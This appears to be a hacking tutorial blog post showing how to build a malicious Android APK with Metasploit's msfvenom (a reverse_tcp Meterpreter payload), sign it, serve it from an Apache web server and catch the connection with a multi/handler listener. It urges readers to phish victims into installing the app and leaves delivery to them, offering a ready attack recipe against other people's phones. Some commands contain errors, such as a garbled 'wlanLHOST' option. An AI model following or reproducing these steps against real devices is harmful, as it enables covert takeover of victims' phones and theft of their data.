Metasploit: Hacking Mobile Phones

Metasploit

Metasploit is a widely used penetration testing and exploitation framework. It provides security professionals, ethical hackers, and researchers with a comprehensive suite of tools and resources to assess and test the security of computer systems, networks, and software applications.

Metasploit allows users to:

• Identify Vulnerabilities: It can be used to discover vulnerabilities in target systems and applications.
• Exploit Vulnerabilities: Metasploit contains a wide range of pre-built exploits that can be used to compromise systems with known security weaknesses.
• Develop Custom Exploits: Users can create their own custom exploits and payloads tailored to specific vulnerabilities.
• Post-Exploitation: It offers post-exploitation modules for maintaining control over compromised systems, including functions like privilege escalation, data exfiltration, and more.
• Payloads: Metasploit includes a variety of payloads, which are scripts or pieces of code that run on the exploited system. These payloads can be used for various purposes, including gaining control over the system or extracting information.

Let’s Get Started

This guide presumes you are running a Kali Linux machine, if you are not running Kali, you will definitely need to be running a Linux machine and will need to install Metasploit.

To install Metasploit on a Debian-based Linux distribution, you can use the official Metasploit Framework installer, which simplifies the process. Here are the steps to install Metasploit on Debian:

• Update Your Package Repository: Open a terminal and update your package repository to ensure you have the latest package information:

sudo apt update

Install Dependencies: Metasploit has some dependencies that need to be installed. Run the following command to install them:

sudo apt install curl gpg gnupg2

Add the Metasploit Repository: Add the Metasploit APT repository to your sources list:

curl -o metasploit-framework-repo.deb https://packages.metasploit.com/metasploit-framework-repo-5.0.deb

Install the Repository: Install the repository with dpkg:

sudo dpkg -i metasploit-framework-repo.deb

Update Your Package Repository (Again): Update the package repository once more to include the Metasploit repository:

sudo apt update

Install Metasploit: Finally, you can install Metasploit Framework:

sudo apt install metasploit-framework

Start Metasploit: Once the installation is complete, you can start Metasploit with the following command:

msfconsole

Metasploit should now be installed on your Debian-based Linux system. You can start using it for security testing and penetration testing purposes. Be sure to use it responsibly and within the bounds of the law and ethical guidelines.

How to Create the Payload

APK stands for “Android Package.” It is the file format used to distribute and install applications (commonly referred to as apps) on the Android operating system. An APK file contains all the necessary components and resources of an Android app, including code (in the form of executable files), assets (like images and sounds), and a manifest file that describes the app’s structure and permissions. We need to create our payload as an APK.

To create the .apk Payload with Metasploit simply open your terminal and run the following command:

msfvenom -p android/meterpreter/reverse_tcp wlanLHOST=192.168.0.63  LPORT=4321 R -o android_shell.apk

On Kali we need to sign our APKs manually or they won’t be accepted.

First, we need to setup the keystore. In the context of Android app development and APK files, a keystore refers to a cryptographic key pair used to sign and verify the authenticity of the APK.

Enter the following commands into the terminal:

keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000

Now we need to install Jarsigner. In the context of Android app development and APK files, jarsigner is a tool used to sign the APK file with a digital signature. This is an important step in the app development process, and it serves several purposes. To install Jarsigner enter the following command in the terminal:

apt-get install openjdk-11-jdk-headless

Now run jarsigner with the following command:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android_shell.apk hacked

To verify your .apk was signed correctly, enter the following command:

jarsigner -verify -verbose -certs android_shell.apk

Thats it our APK has been digitally signed and should now be accepted by all android devices.

One final verification is needed to make sure our APK is perfect, we need to verify it with zipalign. zipalign is a tool in Android app development used to optimize and align the contents of Android application packages (APK files). This alignment is done to ensure that the app’s resources and components are organized in a way that’s efficient and optimal for device runtime performance. Specifically, zipalign aligns data in the APK file to 4-byte boundaries, which makes the app load more efficiently on Android devices.

To verify with zipalign enter the following command:

zipalign -v 4 android_shell.apk singed_jar.apk

Phishing

Well, that’s the easy bit done, we need to get the payload installed onto your targets phone. You need a host to serve the file, the easiest way is to set up a webserver and host the payload yourself. Maybe you can trick them with a link to the file, but it may take a little more finesse. You can build a simple phishing website fast aimed at what the target likes hopefully convincing them to download the payload. The possibilities are endless you figure it out.

The easiest solution is to start a simple http server on your system, to do this just enter the following commands in the terminal:

sudo systemctl start apache2.service

To check if the service is running correctly, enter the following command in the terminal:

sudo systemctl status apache2.service

Open your terminal and navigate to where your APK is stored and enter the following command:

sudo cp android_shell.apk /var/www/html/

Now we have the APK accessible we need to get it to the victim device. This is for you to work out.

Setting Up the Listener

Now we need to get the listener ready for when the target activates the payload.

Open a new terminal and enter the following commands:

msfconsole

use exploit/multi/handler

show options

set lhost <Your_IP>

set lport 4321

set payload android/meterpreter/reverse_tcp

run

Once the payload has been installed to the device our listener terminal will gain a reverse connection Meterpreter shell back to the victim device.

To see a list of all available commands type:

?